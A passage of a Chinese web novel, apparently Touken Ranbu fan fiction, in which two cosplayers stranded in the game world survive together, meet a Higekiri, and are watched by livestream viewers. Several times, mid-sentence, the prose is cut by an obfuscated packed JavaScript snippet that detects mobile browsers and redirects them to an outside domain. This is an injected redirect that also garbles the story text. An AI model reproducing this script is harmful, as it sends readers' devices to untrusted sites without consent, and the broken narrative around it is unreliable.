视野内的时间溯行军嘶吼着地压过来,敌刀的黑影于青年眸底层层叠叠地闪过,膝丸coser抿起唇。 怪可怜的,小乌。 苍凉的林野间隐隐传来凄凉的鸦鸣,三足幼鸦盘旋在战场上空,漆黑的鸦羽舒展开来,盖过金红的骄阳。 那双血红的瞳仁里,青年厮杀的身姿被无限放大。 战场上的时间溯行军被膝丸coser尽数斩灭,青年舒展肢体,努力适应着身体里的肌肉记忆,一招一式发挥的威力越来越大。 膝丸coser在飞速成长着。 少年隐匿在茂密的枝丫间隙,黑瞳默默注视下面的场景,直到斜阳浸染半边天空,小乌coser都不曾出手,看着膝丸coser将沿途的溯行军全部消灭。 “辛苦了,有受伤吗?” 小乌coser垫着衣袖将青年脸上溅染的血渍擦除,结果被膝丸coser一把抱到怀里,黏糊糊的触感让他身体僵了瞬。 “好高兴。”膝丸coser将头埋在少年颈侧,声音闷闷的。 怀里的人渐渐放松了身体,半晌,青年感受到头顶和后背传来被抚摸的触感,少年的声音平静而舒缓。 “为什么高兴?” 于是膝丸coser弯起眼睛,“还有你陪我。” “嗯,我陪着你。”小乌coser轻声应和。 [啊,好温馨的兄弟贴贴,婶婶被摧残的心灵都得到了治愈。] [想起了还不是毒妇的时候。] [思索,看样子膝丸距离一次特化也不远了。源氏都是会多次特化的特殊刀剑,不知道小乌是怎样的呢?] [啊,源氏多次特化是因为名字太多了吧?小乌自始至终都没更名过。] [不一定,现在的小乌好像有些缺陷?就不完全体的感觉?] [啊啊,我也这么觉得,从一开始逃跑,到现在不下战场,一直在逃避战斗啊。] * 岸边的树杈上挂着刚洗净的黑色外套,膝丸coser穿着内衬和长裤,整个浸入溪水中,感受水流拂过肌肤,带走骨髓深处的疲惫。 自小乌coser偷摸告诉他们也许在被监视后,两人便开始注重隐私,贴合角色演戏,不再讨论穿越的事情。 岸边的小乌coser正在帮膝丸coser清洗刀面上的污渍,付丧神作为灵体,灵力会不断洗刷掉体内污垢,但被外物沾染的脏污无法自动清除。 所以战斗结束后,膝丸coser强烈要求洗澡。 [穿这么严实,能洗干净吗?不如让婶婶帮你嘿嘿嘿。] [同事,我真的要举报你了。] [小乌在帮弟弟丸清洗本体呢。] 按流程将刀重新组装,小乌coser松了口气,正准备将太刀收入鞘时,一抹青色闯入视野。 这条竹青色蛇已经缠了他好多天了,总是刻意避开膝丸coser,出现在不起眼的角落。 “……鬼鬼祟祟的。” 小乌coser用刀鞘将努力蛄蛹着往他脚边爬的小蛇轻挑开。 被无情支开的青蛇吐吐芯子,金色竖瞳呆呆望了少年一会儿,然后爬上刀鞘,弓起身子,出其不意攻其不备,唰地窜至少年手边。 “哇啊!” 下游传来惊呼,膝丸coser警惕转头,就见他的刀鞘被丢了出去,飞盘一样升老高。 小乌coser马上反应过来,人已经冲了过去,他提前预判刀鞘落点,高举双臂准备接住,黑色的刀鞘于半空旋转几圈,竖直着砸下来。 Duang—— [听响就是好头。] [已经开始替小乌感到痛了……] [好可爱,呆呆的啊这孩子。] [别把孩子砸傻了啊啊啊!] 刀鞘直直砸中付丧神脑门,然后啪嗒落在草地上,小乌coser收回双臂,缓缓抱住脑袋。 他面无表情地盯住地上的刀鞘,抬腿踹了一脚。 不远处,将一切纳入眼底的膝丸coser半张脸沉入水面,咕噜咕噜地吐出一串泡泡。 算了,单主这么做一定有他的考量。 天色渐暗,洗漱完毕的两人返回山洞。 急躁的风呼呼地刮过来,小乌coser拨开黏在脸颊的发丝,他最外面的狩衣此时正穿在膝丸coser身上。 青年扯扯只覆盖到膝盖的衣摆,半干的布料贴在身上,很不好受。 现代和古代装束混搭在一起,瞧起来不伦不类,但总比吹风后感冒发烧要好。 不过,值得高兴的是,小乌coser几天前设计的陷阱成功捕获了猎物。 啊,终于可以吃到荤腥了。 膝丸coser眼含热泪地从少年怀里揪出一只肥美的灰兔子,小乌coser手指不舍地蜷缩,他还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16036088|178687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蛮喜欢这只三瓣嘴的家伙来着。 “我来处理它吧。” 膝丸coser拔出焕然一新的本体。 【“哈哈哈,饥饿丸眼睛都发光了。” 髭切笑的前仰后合,他抹掉眼角沁出的泪珠,“好笨哦,不管是被砸的鸟丸还是吐泡泡的鱼丸都好笨。” “已经迫不及待要吃兔兔了呢,狠心丸。”秋瑾火上浇油。 “不要作弄我了啊,家主。阿尼甲也是!”膝丸无奈扶额,他眉头轻皱,有些不解。 同振刚刚的举动,似乎不仅仅是出于饱食的目的,还有一丝争夺关注的味道? 他很熟悉这种心态,大多数刀剑对于主人,都会想更多地博得其宠爱。 但这种心态怎么会出现在刀剑付丧神之间?】 火光暖洋洋地晃动着,小乌coser将膝丸coser的湿衣服架在篝火旁。 少年守在一旁烤火,暖意使他全然放松身体,小乌coser望向埋头处理食材的青年,欲言又止,止言又欲。 最终,小乌coser偷瞄向直播球,确保不会被偷听到才凑近青年。 他在青年耳边悄声耳语,“膝丸,你是学医的吗?” “你怎么知道?”膝丸coser惊讶抬头,脸颊被溅上几滴血。 “看出来了。”小乌coser别过眼,不忍心再看那只被解剖的野兔子。 毛茸茸的哈基兔只剩下毛茸茸的皮儿,突然有些地狱了怎么办…… [两个人窃窃私语什么呢?] [可能在讨论兔子的烹饪方法?] [我还以为小乌要养它呢,刚刚眼底的喜悦都快溢出来了。] [但是被饥肠辘辘的弟弟丸无情宰杀了。] [毕竟已经很久没好好吃过东西了,我真的要心疼死了。] [可恶的时政,好想把两刃揣回本丸养,在外头都过得什么苦日子啊!] 食物特有的香气勾引鼻尖,很久没有闻到过这样的味道,小乌coser有些忧愁,穿越前的那些轻松日子如过眼云烟,比之现在,美好得如同幻想。 好想回去啊。 “小乌,你先吃吧。” 膝丸coser将烤兔腿递给对面的少年。 小乌coser回神,笑着摆摆手,“还是你先吧,我没怎么活动,不太饿。” “你体质稍弱,还是吃一点吧。”薄绿头发的太刀将木签子塞到少年手里,“我是你(委托的)哥哥,理应照顾好你。” “但一下午都是膝丸在出力,你更需要补充体力。”小乌coser反手把木签塞回去。 “没事的,我……”膝丸coser再次推脱。 “诶哆,弟弟丸和鸟丸不吃的话可以给我吗?” 黑漆漆的山洞深处突然传出一道轻飘飘的声音。 小乌coser拿着木签的手被吓得一松,还冒油的兔腿啪嗒掉到篝火上,少年大惊顾不得火苗,以极佳的机动伸手将兔腿捞了上来。 这可是我们目前唯一的食物啊! “你干什么!”膝丸coser急切地握住少年手腕,准备查看伤势。 “没有被燎到,你放心。” 小乌coser安抚地用另一只手拍拍青年的肩,随后冲山洞深处冷声呵道:“谁在那里,滚出来!” “诶呀,好凶。” 未能被火光触及的黑暗深处,一道白色的人影踱步而出,昏暗的火光照亮来者的面容。 “髭切。”小乌coser平静道。 膝丸coser面色复杂,他们两人的侦查已经拉到这种地步了吗? 6. 第 6 章 篝火旁围坐了三个人,少年有一搭没一搭地往里面扔柴火,树枝噼啪炸响的酸涩声衬得空气愈发寂静。 “还是我来吧。” 火苗在小乌coser的摧残下愈发低迷,终于在将要熄灭时,膝丸coser拦下小乌coser继续添加湿柴的手。 按这架势,他要把所有人都喂进篝火里面吗? 膝丸coser叹气,他余光扫过身旁的髭切,目光在触及到他与小乌coser极其相似的面容时顿了顿。 还真像啊,除了瞳色和头发,完全就是成年体和幼年体嘛。 “我脸上有什么东西吗?弟弟丸一直在看我呢。”髭切好奇地询问。 “啊,没什么。”膝丸coser企图蒙混过去,但他显然低估了黑芝麻汤圆的难缠程度。 奶金色的太刀缓缓叹了口气,面容染上丝忧郁,“果然,冷淡丸有了其他人就抛弃哥哥了啊。” 你在瞎说些什么啊? 膝丸coser额角冒出冷汗,他当然听出髭切的试探,无论如何,源氏的膝丸永远不会敷衍他的兄长。 “阿尼甲才是吧,又叫错我的名字了。”膝丸coser微微抱怨。 他担忧地看向髭切垂在身侧的左臂,浅浅的血色透过衣服渗出,“伤没事吧?” “嗨嗨,已经包扎过了,弟弟丸不用太担心。”髭切满不在乎道。 “要注意身体啊,阿尼甲。” 奶金色的太刀笑眯眯地揉着薄绿的头,膝丸coser关怀兄长的身体。旁边一直默默观察他们动向的小乌coser撇撇嘴,莫名不爽。 这么要好啊,那你俩过一辈子吧。 [怎么回事?时政不是已经禁止审神者私自接触他们了吗?] [看这振髭切的装束,至少已经三次特化了,排除流浪付丧神的可能。] [不会吧?这年头还有人不看时政公告吗。] [也许是出阵和大部队落单了,避难而偶然遇见小乌他们了吧。] [希望如此,不然就剩下暗堕和黑暗本丸的猜想了……只有那些人才会对时政的公告不屑一顾。] [别总想那么坏啦!那些总是少数。] 这边,尝到甜头的髭切扭头,对小乌coser使出同样的招式,“黑漆漆丸也好冷淡哦。” 半晌,垂首的少年毫无反应。 “黑漆漆丸?”髭切重复。 小乌蹙眉,感到莫名其妙,这是在叫他吗?不想搭理。 他低头抠弄手指,多天的流浪生活,使原本为cos而涂的黑色指甲油大半都脱落,只留下一部分还凄惨地粘在甲片。 本来戴着半指手套,他都没发现,现在摘下来一看,丑死了,全部抠掉。 “小乌。” “咦,什么?”小乌coser闻声抬头,棕黑色的虹膜映入一只同样带着黑色半截手套的手。 我的手套怎么到别人手上去了? 他懵了一瞬,直到那只手差点触碰到鼻尖,小乌coser才突然反应过来,他猛地后仰,同时挥手用力将其拍开。 “阿尼甲!” 膝丸coser急切出声,他扶住因探身而身形不稳的髭切,眼神却隐秘地瞄向被吓到的小乌coser。他刚才竟然没察觉到髭切的动作。 小乌coser深呼吸将脏话咽下肚,他握了握拳,后悔自己怎么没趁机给这刃一巴掌。 少年神色不愉,但仍然敬语,“请问你有事吗?” “那个,要帮忙吗?”髭切目光落至少年参差不齐的指甲上,好心道。 “不用了,谢谢。”小乌coser果断拒绝,内心嘲讽。 帮什么忙?帮我把手指头也切掉吗? 【天守阁,审神者的专属区域,如今已刃满为患。 小乌丸忧心受到惊吓的子代,开口斥候无礼之人,“源氏的重宝,竟如此不懂礼节。” “兄长摸摸自己的弟弟很正常吧?” 髭切抬手搓搓膝丸的头,理所当然道:“外人就不要凑过来说闲话了。” “小乌由为父养育长大,无为者没有评判的资格。”父上大人毫不避讳地直击源氏痛点,髭切眸光逐渐锐利。 两方针锋相对,氛围一时紧张无比。 啊啊,源平大战虽迟但到。要吵去手合场吵啊!秋瑾谨小慎微地挪动脚步,决定去厨房犒劳自己受伤的心灵。 晚樱时节,嫩粉色的花瓣被裹挟着到往本丸各个角落,逃番的鹤为躲避近侍的追查,迫不得已四处流窜。 “你不去看看吗?” 鹤丸国永游逛到走廊,他凑到红发的付丧神身边,“天守阁都要变成公共放映厅了。” 红色的细绳于指尖翻飞,倏而变化成蝶,拔丸喟叹,“袛园精舍钟声响,世间诸行总无常。” 他抬眼,透过红蝶翻绳望向对面付丧神,“鹤不也没去吗?” “啊,我知道的,那家伙才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16036089|178687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不舍得回来。”鹤丸国永以手托腮。 记忆里的印象早已模糊不清,他早已忘记,他们是否真的相见过,或是他在寂寥的时间里,做的又一场梦。】 最终,唯一的食物落到髭切这个伤患手里。 髭切咬了口兔腿,他细嚼慢咽地吃下,然后将木签递给正发呆的小乌coser。 “给,鸟丸也需要补充营养。” 小乌coser略微嫌弃地盯着兔腿上的牙印,秉持着节约粮食和不浪费委托老师心血的念头,他接过来在反面咬了口。 没咬动,弹牙的很,如同嚼蜡。 怎么有人能把肉烤成橡皮泥啊! 小乌coser看看表皮呈完美焦糖色,散发出诱人香气的兔腿,又回味了下口感。好一个图片与实物不符。 少年不动声色地把木签塞回膝丸coser手里,“我不爱吃肉,给你吧。” 膝丸coser接过来,他瞧着兔腿,一时竟不知从何下口。迟疑许久,他在单主牙印旁边下嘴。 然后没能咬动。 真的假的?膝丸coser嘴下发力,虎牙撕裂劲道的肉质,就这样嚼了几下,感觉像谁给他嘴里塞了把非牛顿流体。 虽然他确实不通料理,但也不至于这么难吃吧?膝丸coser不信邪地又咬了口。呕,还是难吃。 膝丸coser彻底认清现实,将兔腿拿远了。 身旁髭切见状看过来,他还没说什么,一直沉默的小乌coser开口了。 “你要浪费食物吗?哥哥。” 膝丸coser不可置信地扭头,神情悲愤。 这时候就不要去贴你的人设了!平常怎么不见你把我当哥哥对待啊!有点花活全使我身上了是吧? “非要吃肉的是你,最后要丢掉的也是你,一点以身作则的意识都没有。”小乌coser假装没看见青年快要哭出来的表情,他确实有点生气,为那只香消玉殒还贼难吃的兔兔。 但膝丸coser确实罪不至此,于是少年眉眼一转看向对面的髭切,刚才被戏弄的报复心涌上来。 “就让你的兄长来吃完吧,起码要对食物怀有敬畏之心,对吧?” 正看戏的付丧神突然被cue,髭切愣了下,看看演技滴水不漏的少年,又望向一脸得救了的膝丸coser,企图蒙混过关。 “诶哆,我有些困了,现在可以先去休息了吗?” “吃完再睡也不迟。” 7. 第 7 章 是夜,摇曳的火光悄然熄灭了,深邃的寒意渗透过来。 被噩梦烦扰的小乌coser缩紧了身子,下意识想抓住被子,但只在地面留下五道浅浅的抓痕。 少年的狩衣披在膝丸coser身上,体型较大的青年揪紧身上御寒的衣物,半张脸都缩了进去,呼吸均匀而绵长,睡得很沉。 审神者们的自动摄像师——直播球,现已因太阳能供电的短板而进入休眠状态,静静悬空于角落。 一片虚无的黑暗中,模糊的五感渐渐回归,膝丸coser睁开眼,视野似乎有些低矮,身体较白日更加轻盈灵活,甚至卷成各种形状。他扑腾了几下,昂起头颅,朝少年蜷缩的地处行进。 四周黑洞洞,篝火不知何时熄了,窸窸窣窣的鳞片摩擦沙砾的细响都清晰可闻。 膝丸coser盯住小乌coser,少年怀里抱着本体,身上繁复的服装乱糟糟,饰品也都散落一旁。大概是滚了几圈,长发缠住脖子,糊住半张脸。 睡姿很差啊,小乌。 他照例探探少年鼻息,确保人没有被冻死,接着点点其紧蹙的眉头,又做噩梦了吗。 会梦见什么?好想知道。 膝丸coser缓慢寻至少年颈窝,皮肤下的血管里血液均均流动,动脉恒久地震动。 他感到无比的安稳,于是就盘在这里,呼吸着少年持续溢出的灵力,阖眼陷入更深层的睡眠。 黑暗中,一双金眸猛然张开,眼底尽是清明。 髭切感受着空气里充裕的灵力,层层递进如水流般缓缓涌动,最为浓郁的中心则是少年周身。不如说,小乌coser正是这股气息的源头。 髭切就是循着这股特殊的气息摸到山洞,不同于其他本灵体内有序的灵力循环,小乌的灵力有去无回,仿佛在逸散生命来滋长他人的灵魂般。 但这样不行。 髭切重新点燃篝火,感受到暖意的少年眉头舒展开些许。 “像鸟妈妈一样呢,小乌。” 掌下发丝的触感不是肉眼所见的蓬松细软,相反既有韧性,并不好摸。但髭切依然耐心地将打结解开,使其恢复顺滑。 伏在少年颈窝的小蛇与对面的膝丸coser保持同一呼吸频率,本来想把这条蛇丢出去的髭切顿了顿,就此作罢。 不光是小乌,就连这振弟弟丸,也不太对呢。 鸟雀的鸣叫如在耳旁,叽叽喳喳地唤醒仍在安眠的山林。 睡了个难得的好觉,膝丸coser伸伸懒腰,除了一醒来就模糊掉的梦让他有些困惑外,整个人简直神清气爽。 小乌coser摸摸颈侧,默不作声地扫了眼旁边两个付丧神,他昨晚噩梦惊醒后便一直假寐,心里清楚他们都干了什么。 把他当猫吸吗,有点意思。 髭切对上少年的眼神,他歪歪头,笑得人畜无害。 小乌coser不满地啧了声,转而看向膝丸coser。两人视线短暂交汇,短短几天早已培养出默契的coser们达成共识。 借口出阵一起离开,就此摆脱这振髭切。 “阿尼甲,我们现在要外出战斗,你……” 膝丸coser本想直接要求髭切待在山洞,但面对太刀的目光,他出奇地感到愧疚,半晌嗫嚅着吐出后半句。 “你要一起吗?” “好啊。”髭切欣然同意。 小乌coser眸光一闪,恨铁不成钢地瞥了眼膝丸coser,他抬手拦住跟随而来的髭切。 “我们要去练级,伤患就待在这里好好休息。” 髭切脚步一顿,在少年将要触碰到自己时蓦地弯腰,站立不稳般晃悠两下,正好扑进小乌coser怀里。 太刀脸颊埋在少年颈窝,深深地吸了口气,柔弱无力地道: “嘶,手臂好疼。” 小乌coser险些被这个碰瓷老刃一个熊抱撞地上,他往后踉跄几步,被膝丸coser抵住后背才稳住身形。 不说手疼他还以为髭切脚瘸了呢。 “知道疼就好好坐着养伤啊。” 赖在他怀里的太刀毫无反应,甚至还不知羞耻地伸手环抱住他的腰,小乌coser拳头又紧了,不听人说话是吧? [这是我们能看的吗?] [线就看极品老刃占弟弟便宜。] [大清早就看见如此令人血脉喷张的画面,这就是我早起的奖励吗,值了。] [婶婶就该看这些,才有力气继给时政当牛做马啊!] ??【秋瑾本丸里,极品老刃面对一众眼神熟练地装迷糊。 “哈哈哈,虽然同为髭切,但我也不太理解对方的做法呢。”髭切食指挠挠脸颊,神情颇为无辜。 任务完成而凑过来看直播的小短刀们:“……” 优秀的侦查使得他们无比清晰地看见了全过程,包括那振髭切的小动作。 太不要脸了。 乱藤四郎捂住自家哥哥的眼睛,语重心长道:“一期尼不要学哦,这种大猪蹄子一样的冒犯举动是会被讨厌的。” 这不是直接说髭切殿是大猪蹄子了吗?一期一振脸上的微笑有些违心。 “要注意言辞啊,乱。” 大家长药研无奈嘱咐。】 ??“那个,阿尼甲你先从小乌身上下来。”膝丸coser合眼,这是什么糟糕的台词啊。 一直打量小乌coser腰侧本体的髭切眨眨眼,察觉到少年的低气压,听话地把人松开。 “啊,听说这附近有熊出没,很容易找上门来。”髭切转移话题,同时露出自己正渗血的左臂,意有所指。 “那我留下来照顾阿尼甲吧。” 膝丸coser嘴比脑子更快,反应过来后,恨不得扇自己一巴掌。 他留下来干嘛啊?髭切只是手受伤,熊来了还不会跑吗? 髭切很满意弟弟丸的关怀,转而对小乌coser道:“那黑漆漆丸也留下来吧,外面好危险。” 你更危险啊。 小乌coser额角冒出虚汗,髭切在这里膝丸coser都变成只会叫“阿尼甲”的人机了,源氏的感召力恐怖如斯。 小乌coser推推膝丸coser小臂,“你去吧,我留在这里陪他。” 当务之急是把膝丸coser支开,到战场砍砍怪冷静冷静吧。 膝丸coser急切道,“但是你……” “放心吧,我在家会照顾好弟弟的。” 髭切打断青年的话,他扬扬手,微笑着送别,“腿丸就安心去打猎吧~” 膝丸coser没有动作,他不安地望向小乌coser,在得到少年肯定的点头后才迟疑着转身。 “那阿尼甲也要好好养伤。” 膝丸coser离开前还不忘一句嘱咐,他是真的害怕两人起冲突,尤其在小乌coser实力不够的前提下。 直播球目送膝丸coser走出山洞,它犹豫片刻,还是留在原地,将摄像头对准在场的两位付丧神。 小乌coser慢慢靠近髭切,他觉得需要跟髭切好好聊聊,总是被人设自带的滤镜去对待髭切未免太不公平,况且他不能放任自己就这么被角色影响。 不,不仅仅是角色影响,还有他自身的问题。小乌coser本能地不喜这类笑眯眯的人,来自被背刺过的痛…… “呜哇!”髭切突然扭过头大叫一声。 “呃啊啊啊!” 沉浸在自己世界里的小乌coser措不及防被吓到,一个脚滑结结实实摔在髭切身边,他顿时手忙脚乱,爬得乱七八糟。 “你干什么!一惊一乍的!”小乌coser捂住噗通跳动的心脏,后怕地远离这个怪叫老刃。 “但是是鸟丸先靠过来的吧?”髭切用手托住下巴,“偷偷摸摸的,想做什么呢?” “我没有偷偷摸摸。”小乌coser下意识澄清,又反应过来没必要跟其较真,于是撇撇嘴,“我只是想跟你谈一谈。” [故意大叫吓唬弟弟的髭切是屑吧?] [幻视小乌鸦炸毛扑腾.ing] [小乌真的很容易被吓到啊,神经紧绷。] [毕竟是小鸟啊哈哈哈哈。] 小乌coser咬住舌尖,他需要为他们的异常编织出相应的过往,让这振髭切和窥伺的观众都深信不疑才行。 毕竟,膝丸coser对髭切莫名冷淡的态度,鬼都能察觉出来啊。 小乌coser有些懊悔,早知道会遇到髭切,他们就该提前把背景敲定下来。而不是如今被动地接受,他们还是没有彻底从穿越带来的虚幻感跳脱出来。 较他年长且成熟的膝丸coser只是一味地听从他的想法,做个决定还要靠他来诱导。天杀的,是没有自己的脑子吗?

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16036090|178687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 你指望一个大学都没毕业,未曾外出打工实习,只知道上早八的废物当领导吗? 小乌coser定定神,况且,他还想想知道髭切为何而来,为什么这几天里除了第一次遇到的藤四郎们都没再碰见过其他部队。就在关头,这振髭切偏偏来了,又偏偏是髭切一个。 “好喔,有些事情我也很疑惑呢。弟弟丸跟我想象的似乎不太一样呢。” 髭切在小乌coser面前站定,他指指少年身旁的位置,“我可以坐在这里吗?” “随便你,膝丸是我在路边捡到的,当时在可怜兮兮的掉眼泪。” 少年满不在乎地说,“看见我就突然抱上来,想来一开始大概是把我认成你了吧。” 小乌coser有意试探髭切的态度和来意,“他很麻烦,你想的话可以把他带走。” 如此也能解释膝丸coser对小乌coser天然的依赖和信赖,被抛弃过一次后,再次看到疑似兄长的刃,无论如何都会抓紧吧? 至于后来认清刃后为何依旧热切,小乌勉强也算源氏的刀,就当做替身情感寄托好了。 小乌coser将剩下的交给观众的脑补,弹幕也丝毫不辜负他的信任,几乎是一边倒的心疼膝丸coser,还有骂那位不存在的审神者。 [等等,要素察觉!被抛弃?!] [一般的本丸不会随意丢弃已被唤醒的付丧神吧?] 弟丸当时状态应该很差,不然也不会说是“可怜兮兮”,重伤甚至都有可能有暗堕趋势……] [怪不得被小乌带在身边,是在疗伤啊。] [伤到连认知都模糊了吗?将小乌认成哥哥切,岂可修!渣审拿命来!!] [我将讨伐这些杂碎。] [感觉小乌也很可怜啊,不曾谋面的哥哥找上来竟然只是因为那张酷似髭切的脸。] [上面的同事,你以为我不知道你的本丸坐标,就无法给你寄刀片了吗?] 【秋瑾深吸了口气,心疼的无以复加,只能默默抱紧自己的弟弟丸。 髭切面上不显,右手却握上刀柄,如果真是那样,斩鬼刀又要派上用场了。 被家主大力搂抱到喘不上气的膝丸挣扎着,发出最后的声音。 “才不会,……搞混啊。” 无论如何,他绝对不会搞混兄长和弟弟的!也不会将小乌当做兄长的替身! 那个他身上到底发生了什么?看着就不聪明的样子,还轻而易举地就被欧豆豆支开了。 山姥切长义叹了口气,对于此类现象,时政也是有心无力,动辄得咎。 那些旧党尚且占据重要职位,如要肃清,不易于动骨扒皮。】 “虽然本丸里确实还没有绿丸,但我并不是为此而来。” 髭切来之前曾询问过本灵膝丸,想用本灵对分灵的感应得到小乌coser他们的具体位置。 但膝丸给出的回答是,没有。 就像是被什么隔绝了般,他无法感应到这振分灵的哪怕一丝的存在,可他又确实是膝丸。 什么才会使得灵魂都改变了性质呢?哪怕是分灵,那也是他髭切的弟弟,容不得那些恶鬼践踏。 源氏重宝将这件事记在心里,并且等候着,真相来临的时机。 不过现在,髭切还有诸多疑问待需解开。 “我很好奇哦,鸟丸不是被我斩断了吗?为什么还能够生出灵体?” 髭切平静地说出残忍的过往,似乎并不介意揭开那道伤疤。他手指虚空点点小乌coser腰间漆黑的刀鞘。 “那个,我可以看一下吗?” 由于膝丸coser有意无意将他与战斗隔绝开来,直到现在小乌coser都没见过自己本体,更不可能在髭切面前拔刀。 “没有人告诉你,你很会得寸进尺吗?”小乌coser回怼,他神情很差,脸色阴云密布。 “哦,没有。”髭切不假思索地回答,“所以现在可以看了吗?” “哈?”小乌coser愣了愣,没想到髭切会这么说,气势降下去半分。 ??这混蛋,他嗤笑:“想都别想。” 虽然早有猜测,如今证实了还是有些不安,果然是为他而来啊。 ??该说不愧是当权者才配持有的重宝吗,就连提出请求的方式都比其他人要清新脱俗,完全就是上位者的架势啊,真让人看不顺眼。 8. 第 8 章 与此同时,膝丸coser正面临一生中最艰难的抉择。 他刚经历二次特化,数值全面上升一个层级,视野与感知更加开阔和敏锐,肢体协调度也增强,他如今能够充分调动身体的每块肌肉。 这样的感觉使他心情舒顺。 但很快他又不开心了,物极必反,这世界总要来点麻烦事给他添添堵。 得益于特化后的侦查,膝丸coser捕捉到远处的异动,冷兵器撞击的铛铛声传入耳。 有出阵部队在附近,看来此地不能久待了。 膝丸coser叹了口气,战斗的快感尚未退却,他还挺不舍得回去。 回去面对髭切那个心眼子比蜂窝都多的平安混蛋。 膝丸coser自认性格内敛,决不是自来熟的类型,他与小乌coser因契机而产生联系,如若没有穿越,他们最后也只会仅止于萍水相逢。 哪怕在这个世界仅有他们两相依为命,两人平日里也相敬如宾,一些无伤大雅的问题都默契地选择忽略掉。 对于髭切,那种骨子里的亲近感时常紊乱他的想法,让他做出些与自身性格不符的蠢事。 可膝丸coser不反感,仅为此而困扰,那股来自血脉的呼唤,就是他从未体会过的“亲情”吗?如果是这样…… 刀剑锵铛的声音愈来愈近,膝丸coser转身欲走。 忽然,一声急切的呼喊炸响。 “髭切殿!!!——” 髭切?! 膝丸coser迈出的脚步顿住,他猛然转头,内心克制不住的焦虑不安使他无法就此离去。 大脑中理智和情感博弈,最终膝丸coser败下阵来,他只看一眼,看完就立马回去。 * 真是倒霉。 髭切想,或许连八幡大菩萨也舍弃他了,神明不会保佑堕落的恶鬼。 遇到捡非违使后,部队内的付丧神们惯常地散开,各自迎击对应的敌刀。 不会因贯穿自己和同伴的刀刃而动容,只为争夺击杀首位,那个属于“誉”的宝座。为此,自相残杀也不罢休。这是一座实力至上主义者所领导的本丸。 刀剑付丧神会因审神者灵力的特征而显现出不同的特性,即使为同振,有时表现出截然相反的性格也无需称奇。 哪怕一开始坚定不移,总会被潜移默化地转变成丑陋的样子,而他们还自以为诞生便就是罪恶。 髭切同样,他单臂挡住敌大太的竖劈,脚下未曾移动分毫,这种程度,已经无法给他带来困扰了。 极化回来后,他自喻“主人的重宝”,实际上只为将权力攥到手里,这样,日子才会过得安稳些。 他已经感到疲惫了,与愈发精进的技艺相比,心似乎在萎缩着,慢慢坍塌了。 身侧的胁差倒飞出去,被敌枪戳成重伤的堀川国广显然退出这场争夺战。 “和泉守先生!” 堀川国广不甘地爬起来,被高大的打刀护在身后。和泉守兼定咬紧牙关,他练度较低,不幸遭遇捡非违使集火打击,而国广这家伙为了保护他硬生生挡下来检非违使的一击。 “哎呀,都劝你们不要跟过来了。” 髭切替和泉守兼定拦下冲来的敌枪,与付丧神甜蜜嗓音相配的,是痛快的首落。 “有人在那边。”小夜左文字简洁地通知众付丧神。 “喔噢,是谁?”髭切追问,仅是敌人的话,小夜可不会特意说出来。 短刀仰首,目光快速地扫过远处丛林,随后看向他们的统领,“一振膝丸。” 天边翻起的鱼肚白逐渐被朝阳的金橘覆盖,这个时间点,正是夜猫子预备入睡,赶早的鸟也起不来的当头。 膝丸coser特意挑选这时练级,就是为了避免遇到出阵部队。但没想到真的有审神者如此勤奋,付丧神真的起得来床吗? 他藏匿在树上,下方付丧神的打斗渐进尾声。 白色的毛领染上鲜红,其中的极化髭切蓦地咳出血来,脸色苍白虚弱。他脊背微微弯曲,明显体力不支。 后方一把苦无偷袭,太刀躲闪不及腰侧被划出血口。膝丸coser心中一紧,他立马就想下去营救。 头顶忽然传来痛感,膝丸coser扭头,一只落在他肩膀的乌鸦猛地啄了下他的头。 红色豆豆眼的幼鸦严阵以待,时刻注意青年举动,并成功撤回一个膝丸coser。 膝丸coser定定神,那股热切的感觉从头脑退却后,被忽略的异样才浮上心头。 队内的配置可以称得上全面,甚至有极化的短刀,膝丸coser都能察觉到战斗的动静,难道这支部队会发现不了他吗? 以他太刀的拙劣的隐藏技术,简直就是明目张胆地挑衅短刀的侦查。 战局中央,极化髭切落魄却不显狼狈,仔细看去,竟然能从他后撤的步伐里看出一丝轻松惬意。并且,整只部队都隐隐以极化髭切为首。 鼻尖嗅到阴谋的味道,膝丸coser恍然,这支部队正是特意引诱他前来。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 